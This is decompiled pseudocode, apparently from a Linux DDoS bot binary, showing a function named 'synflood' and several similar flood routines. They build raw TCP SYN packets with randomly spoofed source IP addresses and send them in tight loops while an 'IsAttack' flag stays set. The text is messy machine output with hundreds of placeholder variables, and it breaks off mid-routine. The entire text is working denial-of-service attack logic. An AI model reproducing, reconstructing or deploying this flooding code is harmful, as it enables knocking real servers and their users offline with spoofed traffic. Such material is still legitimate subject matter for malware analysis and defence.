int synflood(_Unknown_base* ThreadData)
{// addr = 0x08049C8D
    SYNPACKET SynObj;
    short int tcp_flags;
    char[19] szNewIP;
    char[255] szPackData;
    char[127] pheader;
    struct sockaddr_in servaddr;
    int hSockft;
    struct hostent* szhost;
    int nTime;
    int tcphdr_size;
    struct ip* iph;
    struct tcphdr* tcph;
    struct tcp_options* tcpopt;
    int one;
    const int* val;
    int looptime;
    int aa;
    int ShamBase;
    int dwNewIP;
    signed int _v12;
    signed int _v16;
    signed int _v20;
    signed int _v24;
    signed int _v28;
    signed int _v32;
    signed int _v36;
    signed int _v40;
    _unknown_ _v42;
    unsigned int _v44;
    signed int _v48;
    char* _v52;
    unsigned int _v56;
    signed short _v58;
    signed int _v60;
    signed char* _v64;
    unsigned int _v68;
    signed int _v70;
    signed int _v72;
    signed int _v76;
    signed short _v78;
    signed int _v80;
    signed short _v82;
    signed int _v84;
    signed int _v88;
    signed short _v90;
    signed int _v92;
    signed int _v96;
    intOrPtr _v100;
    signed int _v104;
    signed int _v204;
    signed int _v216;
    signed int _v224;
    signed int _v228;
    signed int _v236;
    char _v240;
    char _v248;
    char _v252;
    char _v260;
    char _v272;
    char _v492;
    char _v504;
    char _v516;
    char _v528;
    unsigned int _v609;
    unsigned short _v610;
    signed int _v611;
    signed int _v612;
    short unsigned int _v620;
    unsigned int _v621;
    unsigned short _v622;
    signed int _v623;
    signed int _v624;
    short unsigned int _v632;
    unsigned int _v633;
    unsigned short _v634;
    signed int _v635;
    signed int _v636;
    char _v640;
    short unsigned int _v644;
    unsigned int _v645;
    unsigned short _v646;
    signed int _v647;
    signed int _v648;
    char _v652;
    signed int _v656;
    char _v660;
    char _v664;
    signed int _v668;
    char _v672;
    char _v676;
    signed int _v680;
    signed int _v684;
    signed int _v688;
    signed short _v692;
    signed short _v696;
    signed int _v700;
    signed int _v712;
    intOrPtr _v760;
    signed int _v764;
    signed short _v766;
    char _v924;
    signed short _v1344;
    signed int _v1396;
    signed int _v1400;
    signed int _v1404;
    signed int _v1408;
    signed int _v1412;
    intOrPtr _v1480;
    signed int _v1484;
    signed short _v1486;
    intOrPtr _v1636;
    char _v1648;
    signed short _v2068;
    signed int _v2112;
    signed int _v2116;
    signed int _v2120;
    signed int _v2124;
    signed int _v2128;
    intOrPtr _v2184;
    signed int _v2188;
    signed int _v2190;
    char _v2348;
    signed short _v2768;
    signed int _v2812;
    signed int _v2816;
    signed int _v2820;
    signed int _v2824;
    signed int _v2828;
    intOrPtr _v2892;
    signed int _v2896;
    signed int _v2898;
    char _v3056;
    signed short _v3476;
    signed int _v3528;
    signed int _v3532;
    signed int _v3536;
    signed char _v3540;
    signed int _v3544;
    intOrPtr _v3612;
    signed int _v3616;
    signed int _v3618;
    intOrPtr _v3768;
    char _v3780;
    signed short _v4200;
    signed int _v4244;
    signed int _v4248;
    signed int _v4252;
    signed char _v4256;
    signed int _v4260;
    signed int _v4272;
    signed int _v4276;
    signed char _v4280;
    signed int _v4282;
    _unknown_ r6;
    _unknown_ _t1353;
    unsigned int _t1354;
    signed int _t1356;
    _unknown_ _t1358;
    _unknown_ _t1359;
    _unknown_ _t1360;
    _unknown_ _t1361;
    _unknown_ _t1365;
    signed int _t1366;
    intOrPtr _t1368;
    _unknown_ _t1370;
    _unknown_ _t1371;
    _unknown_ _t1372;
    _unknown_ _t1373;
    _unknown_ _t1377;
    signed int _t1378;
    signed char* _t1383;
    _unknown_ _t1385;
    _unknown_ _t1386;
    _unknown_ _t1387;
    _unknown_ _t1388;
    _unknown_ _t1392;
    signed int _t1393;
    intOrPtr _t1395;
    _unknown_ _t1397;
    _unknown_ _t1398;
    _unknown_ _t1399;
    _unknown_ _t1400;
    _unknown_ _t1404;
    signed int _t1405;
    intOrPtr _t1407;
    _unknown_ _t1409;
    _unknown_ _t1410;
    _unknown_ _t1411;
    _unknown_ _t1412;
    _unknown_ _t1416;
    signed int _t1417;
    signed int _t1422;
    _unknown_ _t1424;
    _unknown_ _t1425;
    _unknown_ _t1426;
    _unknown_ _t1427;
    _unknown_ _t1448;
    signed char _t1467;
    short _t1476;
    intOrPtr _t1478;
    intOrPtr _t1480;
    short _t1489;
    signed int _t1497;
    signed int _t1498;
    _unknown_ _t1500;
    intOrPtr _t1508;
    signed int _t1509;
    _unknown_ _t1511;
    short _t1520;
    signed int _t1521;
    _unknown_ _t1523;
    signed int _t1532;
    _unknown_ _t1534;
    _unknown_ _t1539;
    signed char _t1549;
    _unknown_ _t1552;
    _unknown_ _t1556;
    _unknown_ _t1561;
    _unknown_ _t1570;
    _unknown_ _t1574;
    short unsigned int _t1577;
    _unknown_ _t1582;
    _unknown_ _t1597;
    signed char _t1616;
    short _t1625;
    intOrPtr _t1627;
    intOrPtr _t1629;
    short _t1638;
    signed int _t1646;
    signed int _t1647;
    _unknown_ _t1649;
    intOrPtr _t1657;
    signed int _t1658;
    _unknown_ _t1660;
    short _t1669;
    signed int _t1670;
    _unknown_ _t1672;
    signed int _t1681;
    _unknown_ _t1683;
    _unknown_ _t1688;
    signed char _t1698;
    _unknown_ _t1701;
    _unknown_ _t1705;
    _unknown_ _t1710;
    _unknown_ _t1719;
    _unknown_ _t1723;
    short unsigned int _t1726;
    signed int _t1729;
    _unknown_ _t1731;
    signed int _t1734;
    _unknown_ _t1750;
    char _t1769;
    short _t1778;
    intOrPtr _t1780;
    intOrPtr _t1782;
    short _t1791;
    signed int _t1799;
    signed int _t1800;
    _unknown_ _t1802;
    intOrPtr _t1810;
    signed int _t1811;
    _unknown_ _t1813;
    short _t1822;
    signed int _t1823;
    _unknown_ _t1825;
    signed int _t1834;
    _unknown_ _t1836;
    _unknown_ _t1841;
    char _t1851;
    _unknown_ _t1854;
    _unknown_ _t1858;
    _unknown_ _t1863;
    _unknown_ _t1872;
    _unknown_ _t1876;
    short unsigned int _t1879;
    _unknown_ _t1896;
    char _t1915;
    short _t1924;
    intOrPtr _t1926;
    intOrPtr _t1928;
    short _t1937;
    signed int _t1945;
    signed int _t1946;
    _unknown_ _t1948;
    intOrPtr _t1956;
    signed int _t1957;
    _unknown_ _t1959;
    short _t1968;
    signed int _t1969;
    _unknown_ _t1971;
    signed int _t1980;
    _unknown_ _t1982;
    _unknown_ _t1987;
    char _t1997;
    _unknown_ _t2000;
    _unknown_ _t2004;
    _unknown_ _t2009;
    _unknown_ _t2018;
    _unknown_ _t2022;
    short unsigned int _t2025;
    signed int _t2028;
    _unknown_ _t2030;
    _unknown_ _t2045;
    char _t2064;
    short _t2073;
    intOrPtr _t2075;
    intOrPtr _t2077;
    short _t2086;
    signed int _t2094;
    signed int _t2095;
    _unknown_ _t2097;
    intOrPtr _t2105;
    signed int _t2106;
    _unknown_ _t2108;
    short _t2117;
    signed int _t2118;
    _unknown_ _t2120;
    signed int _t2129;
    _unknown_ _t2131;
    _unknown_ _t2136;
    char _t2146;
    _unknown_ _t2149;
    _unknown_ _t2153;
    _unknown_ _t2158;
    _unknown_ _t2167;
    _unknown_ _t2171;
    short unsigned int _t2174;
    signed int _t2177;
    _unknown_ _t2179;
    signed int _t2182;
    _unknown_ _t2198;
    short _t2217;
    _unknown_ _t2226;
    intOrPtr _t2228;
    intOrPtr _t2230;
    short _t2239;
    signed int _t2247;
    signed int _t2248;
    _unknown_ _t2250;
    intOrPtr _t2258;
    signed int _t2259;
    _unknown_ _t2261;
    short _t2270;
    signed int _t2271;
    _unknown_ _t2273;
    signed int _t2282;
    _unknown_ _t2284;
    _unknown_ _t2289;
    intOrPtr _t2299;
    _unknown_ _t2302;
    _unknown_ _t2306;
    _unknown_ _t2311;
    _unknown_ _t2320;
    _unknown_ _t2324;
    short unsigned int _t2327;
    signed int _t2342;
    signed int _t2379;
    signed int _t2380;
    signed int _t2381;
    signed int _t2387;
    signed int _t2388;
    signed int _t2389;
    signed int _t2393;
    signed int _t2397;
    signed int _t2398;
    signed int _t2399;
    signed int _t2405;
    signed int _t2406;
    signed int _t2407;
    signed int _t2413;
    signed int _t2414;
    signed int _t2415;
    signed int _t2419;
    signed int _t2423;
    signed int _t2424;
    signed int _t2425;
    signed int _t2457;
    _unknown_ _t2465;
    _unknown_ _t2473;
    _unknown_ _t2501;
    signed int _t2508;
    _unknown_ _t2545;
    _unknown_ _t2585;
    _unknown_ _t2593;
    _unknown_ _t2621;
    _unknown_ _t2665;
    _unknown_ _t2687;
    signed int* _t2688;
    signed int* _t2689;
    signed int* _t2690;
    signed int* _t2691;
    signed int* _t2692;
    _unknown_ _t2693;

    _push(_t2342);
    __esp = __esp - 692;
    L0806F910( &_v216, 156);
    L0806F9E0(_t2674, __esi,  &_v216, ThreadData, 156);
    _v58 = 2;
    _v696 = 16;
    _t1354 =  &_v636;
     *__esp = _t1354;
    L0806F910();
    _v692 = 6;
    L08073680(_t2342, __esp, 2, 3);
    _v56 = _t1354;
    _v636 = 2;
    _t1356 =  &((char*)( &_v216)[4]);
    L08075250(_t1356);
    _v52 = _t1356;
    if(_v52 != 0) {
        _t2198 = L0806E4D0( &((char*)( &_v216)[4]), "0.0.0.0");
        if(_t2198 == 0) {
        } else {
            _v48 = 0;
            _v48 = _v204;
            if(_v48 <= 0 || _v48 > 86400) {
                _v48 = 20;
            }
            _v632 =  *( *(_v52[0x10]));
            _v44 = 20;
            _v40 =  &_v492;
            _v36 =  &_v492 + 20;
            _v32 =  &_v492 + 40;
             *_v40 =  *_v40 & 255 & 240 | 5;
             *_v40 =  *_v40 & 255 & 15 | 64;
             *(_v40 + 1) = 0;
             *(_v40 + 2) = 60;
             *__esp = 31337;
            _t2217 = L08075240(__esp);
             *((short*)(_v40 + 4)) = _t2217;
             *(_v40 + 6) = 0;
             *(_v40 + 8) = 250;
             *(_v40 + 9) = 6;
             *(_v40 + 10) = 0;
             *(_v40 + 16) = _v632;
             *__esp = _v72 & 65535;
            _t2226 = L08075240(__esp);
             *(_v36 + 2) = _t2226;
             *__esp = 31337;
            _t2228 = L08075230(__esp);
             *((intOrPtr*)(_v36 + 4)) = _t2228;
             *__esp = 0;
            _t2230 = L08075230(__esp);
             *((intOrPtr*)(_v36 + 8)) = _t2230;
             *(_v36 + 12) =  *(_v36 + 12) & 255 & 240;
             *(_v36 + 12) =  *(_v36 + 12) & 255 & 15 | 160;
             *(_v36 + 13) = _v58 & 65535;
             *__esp = 57344;
            _t2239 = L08075240(__esp);
             *((short*)(_v36 + 14)) = _t2239;
             *(_v36 + 16) = 0;
             *(_v36 + 18) = 0;
            if((_v44 & 3) != 0) {
                _v44 = (_v44 + (_v44 >> 31 >> 30) & 3) - (_v44 >> 31 >> 30) + 1 << 2;
            }
            _v44 = 40;
            _v640 = 1;
            _v28 =  &_v640;
            _v684 = 4;
            _v688 = _v28;
            _v692 = 3;
            _v696 = 0;
            _t2247 = _v56;
             *__esp = _t2247;
            L08073640(_t2342, __esp);
            if(_t2247 >= 0) {
            } else {
                _v24 = 0;
                while(1) {
                    _t2248 = IsAttack;
                    if(_t2248 == 0) {
                        break;
                    }
                    _v20 = 0;
                    while(_v20 <= 999) {
                        L0805EBE0();
                        _t2423 = _t2248;
                        _v668 = -2147450879;
                        _v660 = ((_v668 * _t2423 >> 32) + _t2423 >> 15) - (_t2423 >> 31);
                        _v660 = _t2423 - (_v660 << 16) - _v660;
                         *__esp = _v660;
                        _t2258 = L08075230(__esp);
                        _t2259 = _v36;
                         *((intOrPtr*)(_t2259 + 4)) = _t2258;
                        L0805EBE0();
                        _t2424 = _t2259;
                        _v668 = -2147450879;
                        _v656 = ((_v668 * _t2424 >> 32) + _t2424 >> 15) - (_t2424 >> 31);
                        _v656 = _t2424 - (_v656 << 16) - _v656;
                         *__esp = _v656 & 65535 & 65535;
                        _t2270 = L08075240(__esp);
                        _t2271 = _v36;
                         *((short*)(_t2271 + 14)) = _t2270;
                        L0805EBE0();
                        _t2425 = _t2271;
                        _v668 = -2147450879;
                        _t2342 = ((_v668 * _t2425 >> 32) + _t2425 >> 15) - (_t2425 >> 31);
                        _v652 = _t2342;
                        _v652 = _t2425 - (_v652 << 16) - _v652;
                         *_v36 = _v652 & 65535;
                        _t2282 = _v64 - _v68;
                        _v16 = _t2282;
                        if(_v16 <= 0) {
                            goto L20;
                        } else {
                            L0805EBE0();
                            _v12 = _t2282 % _v16 + _v68;
                            L0806F850(_t2342, _t2674, __esi,  &_v236, 0, 20);
                            _t2342 = _v12 >> 16 & 255;
                            _v680 = _v12 & 255;
                            _v684 = _v12 >> 8 & 255;
                            _v688 = _t2342;
                            L0805FF50( &_v236, "%d.%d.%d.%d", _v12 >> 24);
                            _t2299 = L08073B40( &_v236);
                             *((intOrPtr*)(_v40 + 12)) = _t2299;
                            L0806F850(_t2342, _t2674, __esi,  &_v620, 0, 128);
                            L0806F9E0(_t2674, __esi,  &_v620, _v40 + 12, 4);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v620)[2]), _v40 + 16, 4);
                            _v612 = 0;
                            _v611 =  *(_v40 + 9) & 255;
                            _v610 = _v44 >> 8;
                            _v609 = _v44;
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v620)[6]), _v36, 20);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v620)[0x10]), _v32, 8);
                            _t2327 = csum( &_v620, _v44 + 12);
                             *(_v36 + 16) = _t2327;
                            _v680 = 16;
                            _v684 =  &_v636;
                            _v688 = 0;
                            _v692 =  *(_v40 + 2) & 65535 & 65535;
                            _t2248 = L08052C20(__esi, _v56,  &_v492);
                            _v20 = _v20 + 1;
                            continue;
                        }
                        goto L20;
                    }
                }
            }
        }
    }
L20:
    L08052A50(_v56);
    _t1359 = L08051050();
    L08051000(_t1359);
     *__esp = 0;
    L08050FE0();
    goto L21;
L21:
    _push(_t2687);
    _t2688 = __esp;
    _push(_t2674);
    _push(__esi);
    _push(_t2342);
    __esp = __esp - 700;
    L0806F910( &_v924, 156);
    L0806F9E0(_t2674, __esi,  &_v924, _v696, 156);
    _v766 = 2;
    _v1412 = 16;
    _t1366 =  &_v1344;
     *__esp = _t1366;
    L0806F910();
    _v1408 = 6;
    L08073680(_t2342, __esp, 2, 3);
    _v764 = _t1366;
    _v1344 = 2;
    _t1368 =  &_v924 + 16;
    L08075250(_t1368);
    _v760 = _t1368;
    if(_v760 != 0) {
        _t2045 = L0806E4D0( &((char*)( &_v228)[4]), "0.0.0.0");
        if(_t2045 == 0) {
        } else {
            _v60 = 0;
            _v60 = _v216;
            if(_v60 <= 0 || _v60 > 86400) {
                _v60 = 20;
            }
            _v644 =  *( *(_v64[0x10]));
            _v56 = 20;
            _v52 =  &_v504;
            _v48 =  &_v504 + 20;
            _v44 =  &_v504 + 40;
             *_v52 =  *_v52 & 255 & 240 | 5;
             *_v52 =  *_v52 & 255 & 15 | 64;
            (_v52[1]) = 0;
            (_v52[2]) = 60;
             *__esp = 31337;
            _t2064 = L08075240(__esp);
            (_v52[4]) = _t2064;
            (_v52[6]) = 0;
            (_v52[8]) = 250;
            (_v52[9]) = 6;
            (_v52[0xa]) = 0;
            (_v52[0x10]) = _v644;
             *__esp = _v84 & 65535;
            _t2073 = L08075240(__esp);
             *((short*)(_v48 + 2)) = _t2073;
             *__esp = 31337;
            _t2075 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 4)) = _t2075;
             *__esp = 0;
            _t2077 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 8)) = _t2077;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
             *(_v48 + 13) = _v70 & 65535;
             *__esp = 57344;
            _t2086 = L08075240(__esp);
             *((short*)(_v48 + 14)) = _t2086;
             *(_v48 + 16) = 0;
             *(_v48 + 18) = 0;
            if((_v56 & 3) != 0) {
                _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
            }
            _v56 = 40;
            _v652 = 1;
            _v40 =  &_v652;
            _v1400 = 4;
            _v1404 = _v40;
            _v1408 = 3;
            _v1412 = 0;
            _t2094 = _v68;
             *__esp = _t2094;
            L08073640(_t2342, __esp);
            if(_t2094 >= 0) {
            } else {
                _v36 = 0;
                while(1) {
                    _t2095 = IsAttack;
                    if(_t2095 == 0) {
                        break;
                    }
                    _v32 = 0;
                    while(_v32 <= 999) {
                        L0805EBE0();
                        _t2413 = _t2095;
                        _v684 = -2147450879;
                        _v676 = ((_v684 * _t2413 >> 32) + _t2413 >> 15) - (_t2413 >> 31);
                        _v676 = _t2413 - (_v676 << 16) - _v676;
                         *__esp = _v676;
                        _t2105 = L08075230(__esp);
                        _t2106 = _v48;
                         *((intOrPtr*)(_t2106 + 4)) = _t2105;
                        L0805EBE0();
                        _t2414 = _t2106;
                        _v684 = -2147450879;
                        _v672 = ((_v684 * _t2414 >> 32) + _t2414 >> 15) - (_t2414 >> 31);
                        _v672 = _t2414 - (_v672 << 16) - _v672;
                         *__esp = _v672 & 65535 & 65535;
                        _t2117 = L08075240(__esp);
                        _t2118 = _v48;
                         *((short*)(_t2118 + 14)) = _t2117;
                        L0805EBE0();
                        _t2415 = _t2118;
                        _v684 = -2147450879;
                        _t2342 = ((_v684 * _t2415 >> 32) + _t2415 >> 15) - (_t2415 >> 31);
                        _v668 = _t2342;
                        _t2674 = _t2415 - (_v668 << 16) - _v668;
                        _v668 = _t2674;
                         *_v48 = _v668 & 65535;
                        _t2129 = _v76 - _v80;
                        _v28 = _t2129;
                        if(_v28 <= 0) {
                            goto L41;
                        } else {
                            L0805EBE0();
                            _v24 = _t2129 % _v28 + _v80;
                            L0806F850(_t2342, _t2674, __esi,  &_v248, 0, 20);
                            _v1396 = _v24 & 255;
                            _v1400 = _v24 >> 8 & 255;
                            _v1404 = _v24 >> 16 & 255;
                            L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
                            _t2146 = L08073B40( &_v248);
                            (_v52[0xc]) = _t2146;
                            L0806F850(_v24 >> 16 & 255, _t2674, __esi,  &_v632, 0, 128);
                            L0806F9E0(_t2674, __esi,  &_v632,  &(_v52[0xc]), 4);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[2]),  &(_v52[0x10]), 4);
                            _v624 = 0;
                            _v623 = (_v52[9]) & 255;
                            _v622 = _v56 >> 8;
                            _v621 = _v56;
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[6]), _v48, 20);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[0x10]), _v44, 8);
                            _t2174 = csum( &_v632, _v56 + 12);
                             *(_v48 + 16) = _t2174;
                            _t2342 =  &_v648;
                            _t2177 = (_v52[2]) & 65535;
                            __esi = _t2177 & 65535;
                            L0805EBE0();
                            _t2419 = _t2177;
                            _v684 = -1600085855;
                            _t2182 = _t2419 >> 31;
                            _t2674 = ((_v684 * _t2419 >> 32) + _t2419 >> 7) - _t2182;
                            _v664 = _t2674;
                            _v664 = _t2419 - _t2182 * _v664;
                            _v1396 = 16;
                            _v1400 = _t2342;
                            _v1404 = 0;
                            _v1408 = __esi + _v664 + 800;
                            _t2095 = L08052C20(__esi, _v68,  &_v504);
                            _v32 = _v32 + 1;
                            continue;
                        }
                        goto L41;
                    }
                }
            }
        }
    }
L41:
    L08052A50(_v68);
    _t1371 = L08051050();
    L08051000(_t1371);
     *__esp = 0;
    L08050FE0();
    goto L42;
L42:
    _push(_t2688);
    _t2689 = __esp;
    _push(__esi);
    _push(_t2342);
    __esp = __esp - 704;
    L0806F910( &_v1648, 160);
    L0806F9E0(_t2674, __esi,  &_v1648, _v1412, 160);
    _v1486 = 2;
    _v2128 = 16;
    _t1378 =  &_v2068;
     *__esp = _t1378;
    L0806F910();
    _v2124 = 6;
    L08073680(_t2342, __esp, 2, 3);
    _v1484 = _t1378;
    _v2068 = 2;
    _v1480 = _v1636;
    if(_v1480 <= 60 || _v72 > 800) {
        _v72 = 61;
    }
    _v68 = _v72 - 60;
    _t1383 =  &_v240 + 20;
    L08075250(_t1383);
    _v64 = _t1383;
    if(_v64 != 0) {
        _t1896 = L0806E4D0( &_v240 + 20, "0.0.0.0");
        if(_t1896 == 0) {
        } else {
            _v60 = 0;
            _v60 = _v224;
            if(_v60 <= 0 || _v60 > 86400) {
                _v60 = 20;
            }
            _v656 =  *( *(_v64[0x10]));
            _v56 = 20;
            _v52 =  &_v516;
            _v48 =  &_v516 + 20;
            _v44 =  &_v516 + 40;
             *_v52 =  *_v52 & 255 & 240 | 5;
             *_v52 =  *_v52 & 255 & 15 | 64;
            (_v52[1]) = 0;
            (_v52[2]) = 60;
             *__esp = 31337;
            _t1915 = L08075240(__esp);
            (_v52[4]) = _t1915;
            (_v52[6]) = 0;
            (_v52[8]) = 250;
            (_v52[9]) = 6;
            (_v52[0xa]) = 0;
            (_v52[0x10]) = _v656;
             *__esp = _v92 & 65535;
            _t1924 = L08075240(__esp);
             *((short*)(_v48 + 2)) = _t1924;
             *__esp = 31337;
            _t1926 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 4)) = _t1926;
             *__esp = 0;
            _t1928 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 8)) = _t1928;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
             *(_v48 + 13) = _v78 & 65535;
             *__esp = 57344;
            _t1937 = L08075240(__esp);
             *((short*)(_v48 + 14)) = _t1937;
             *(_v48 + 16) = 0;
             *(_v48 + 18) = 0;
            if((_v56 & 3) != 0) {
                _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
            }
            _v56 = 40;
            _v664 = 1;
            _v40 =  &_v664;
            _v2116 = 4;
            _v2120 = _v40;
            _v2124 = 3;
            _v2128 = 0;
            _t1945 = _v76;
             *__esp = _t1945;
            L08073640(_t2342, __esp);
            if(_t1945 >= 0) {
            } else {
                _v36 = 0;
                while(1) {
                    _t1946 = IsAttack;
                    if(_t1946 == 0) {
                        break;
                    }
                    _v32 = 0;
                    while(_v32 <= 999) {
                        L0805EBE0();
                        _t2405 = _t1946;
                        _v700 = -2147450879;
                        _v688 = ((_v700 * _t2405 >> 32) + _t2405 >> 15) - (_t2405 >> 31);
                        _v688 = _t2405 - (_v688 << 16) - _v688;
                         *__esp = _v688;
                        _t1956 = L08075230(__esp);
                        _t1957 = _v48;
                         *((intOrPtr*)(_t1957 + 4)) = _t1956;
                        L0805EBE0();
                        _t2406 = _t1957;
                        _v700 = -2147450879;
                        _v684 = ((_v700 * _t2406 >> 32) + _t2406 >> 15) - (_t2406 >> 31);
                        _v684 = _t2406 - (_v684 << 16) - _v684;
                         *__esp = _v684 & 65535 & 65535;
                        _t1968 = L08075240(__esp);
                        _t1969 = _v48;
                         *((short*)(_t1969 + 14)) = _t1968;
                        L0805EBE0();
                        _t2407 = _t1969;
                        _v700 = -2147450879;
                        _t2342 = ((_v700 * _t2407 >> 32) + _t2407 >> 15) - (_t2407 >> 31);
                        _v680 = _t2342;
                        _v680 = _t2407 - (_v680 << 16) - _v680;
                         *_v48 = _v680 & 65535;
                        _t1980 = _v84 - _v88;
                        _v28 = _t1980;
                        if(_v28 <= 0) {
                            goto L65;
                        } else {
                            L0805EBE0();
                            _v24 = _t1980 % _v28 + _v88;
                            L0806F850(_t2342, _t2674, __esi,  &_v260, 0, 20);
                            _v2112 = _v24 & 255;
                            _v2116 = _v24 >> 8 & 255;
                            _v2120 = _v24 >> 16 & 255;
                            L0805FF50( &_v260, "%d.%d.%d.%d", _v24 >> 24);
                            _t1997 = L08073B40( &_v260);
                            (_v52[0xc]) = _t1997;
                            L0806F850(_v24 >> 16 & 255, _t2674, __esi,  &_v644, 0, 128);
                            L0806F9E0(_t2674, __esi,  &_v644,  &(_v52[0xc]), 4);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[2]),  &(_v52[0x10]), 4);
                            _v636 = 0;
                            _v635 = (_v52[9]) & 255;
                            _v634 = _v56 >> 8;
                            _v633 = _v56;
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[6]), _v48, 20);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[0x10]), _v44, 8);
                            _t2025 = csum( &_v644, _v56 + 12);
                             *(_v48 + 16) = _t2025;
                            __esi =  &_v660;
                            _t2028 = (_v52[2]) & 65535;
                            _t2342 = _t2028 & 65535;
                            L0805EBE0();
                            _v2112 = 16;
                            _v2116 = __esi;
                            _v2120 = 0;
                            _v2124 = _t2342 + _t2028 % _v68;
                            _t1946 = L08052C20(__esi, _v76,  &_v516);
                            _v32 = _v32 + 1;
                            continue;
                        }
                        goto L65;
                    }
                }
            }
        }
    }
L65:
    L08052A50(_v76);
    _t1386 = L08051050();
    L08051000(_t1386);
     *__esp = 0;
    L08050FE0();
    goto L66;
L66:
    _push(_t2689);
    _t2690 = __esp;
    _push(_t2342);
    __esp = __esp - 692;
    L0806F910( &_v2348, 156);
    L0806F9E0(_t2674, __esi,  &_v2348, _v2128, 156);
    _v2190 = 16;
    _v2828 = 16;
    _t1393 =  &_v2768;
     *__esp = _t1393;
    L0806F910();
    _v2824 = 6;
    L08073680(_t2342, __esp, 2, 3);
    _v2188 = _t1393;
    _v2768 = 2;
    _t1395 =  &_v2348 + 16;
    L08075250(_t1395);
    _v2184 = _t1395;
    if(_v2184 != 0) {
        _t1750 = L0806E4D0( &((char*)( &_v228)[4]), "0.0.0.0");
        if(_t1750 == 0) {
        } else {
            _v60 = 0;
            _v60 = _v216;
            if(_v60 <= 0 || _v60 > 86400) {
                _v60 = 20;
            }
            _v644 =  *( *(_v64[0x10]));
            _v56 = 20;
            _v52 =  &_v504;
            _v48 =  &_v504 + 20;
            _v44 =  &_v504 + 40;
             *_v52 =  *_v52 & 255 & 240 | 5;
             *_v52 =  *_v52 & 255 & 15 | 64;
            (_v52[1]) = 0;
            (_v52[2]) = 60;
             *__esp = 31337;
            _t1769 = L08075240(__esp);
            (_v52[4]) = _t1769;
            (_v52[6]) = 0;
            (_v52[8]) = 250;
            (_v52[9]) = 6;
            (_v52[0xa]) = 0;
            (_v52[0x10]) = _v644;
             *__esp = _v84 & 65535;
            _t1778 = L08075240(__esp);
             *((short*)(_v48 + 2)) = _t1778;
             *__esp = 31337;
            _t1780 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 4)) = _t1780;
             *__esp = 0;
            _t1782 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 8)) = _t1782;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
             *(_v48 + 13) = _v70 & 65535;
             *__esp = 57344;
            _t1791 = L08075240(__esp);
             *((short*)(_v48 + 14)) = _t1791;
             *(_v48 + 16) = 0;
             *(_v48 + 18) = 0;
            if((_v56 & 3) != 0) {
                _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
            }
            _v56 = 40;
            _v652 = 1;
            _v40 =  &_v652;
            _v2816 = 4;
            _v2820 = _v40;
            _v2824 = 3;
            _v2828 = 0;
            _t1799 = _v68;
             *__esp = _t1799;
            L08073640(_t2342, __esp);
            if(_t1799 >= 0) {
            } else {
                _v36 = 0;
                while(1) {
                    _t1800 = IsAttack;
                    if(_t1800 == 0) {
                        break;
                    }
                    _v32 = 0;
                    while(_v32 <= 999) {
                        L0805EBE0();
                        _t2397 = _t1800;
                        _v680 = -2147450879;
                        _v672 = ((_v680 * _t2397 >> 32) + _t2397 >> 15) - (_t2397 >> 31);
                        _v672 = _t2397 - (_v672 << 16) - _v672;
                         *__esp = _v672;
                        _t1810 = L08075230(__esp);
                        _t1811 = _v48;
                         *((intOrPtr*)(_t1811 + 4)) = _t1810;
                        L0805EBE0();
                        _t2398 = _t1811;
                        _v680 = -2147450879;
                        _v668 = ((_v680 * _t2398 >> 32) + _t2398 >> 15) - (_t2398 >> 31);
                        _v668 = _t2398 - (_v668 << 16) - _v668;
                         *__esp = _v668 & 65535 & 65535;
                        _t1822 = L08075240(__esp);
                        _t1823 = _v48;
                         *((short*)(_t1823 + 14)) = _t1822;
                        L0805EBE0();
                        _t2399 = _t1823;
                        _v680 = -2147450879;
                        _t2342 = ((_v680 * _t2399 >> 32) + _t2399 >> 15) - (_t2399 >> 31);
                        _v664 = _t2342;
                        _v664 = _t2399 - (_v664 << 16) - _v664;
                         *_v48 = _v664 & 65535;
                        _t1834 = _v76 - _v80;
                        _v28 = _t1834;
                        if(_v28 <= 0) {
                            goto L86;
                        } else {
                            L0805EBE0();
                            _v24 = _t1834 % _v28 + _v80;
                            L0806F850(_t2342, _t2674, __esi,  &_v248, 0, 20);
                            _t2342 = _v24 >> 16 & 255;
                            _v2812 = _v24 & 255;
                            _v2816 = _v24 >> 8 & 255;
                            _v2820 = _t2342;
                            L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
                            _t1851 = L08073B40( &_v248);
                            (_v52[0xc]) = _t1851;
                            L0806F850(_t2342, _t2674, __esi,  &_v632, 0, 128);
                            L0806F9E0(_t2674, __esi,  &_v632,  &(_v52[0xc]), 4);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[2]),  &(_v52[0x10]), 4);
                            _v624 = 0;
                            _v623 = (_v52[9]) & 255;
                            _v622 = _v56 >> 8;
                            _v621 = _v56;
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[6]), _v48, 20);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[0x10]), _v44, 8);
                            _t1879 = csum( &_v632, _v56 + 12);
                             *(_v48 + 16) = _t1879;
                            _v2812 = 16;
                            _v2816 =  &_v648;
                            _v2820 = 0;
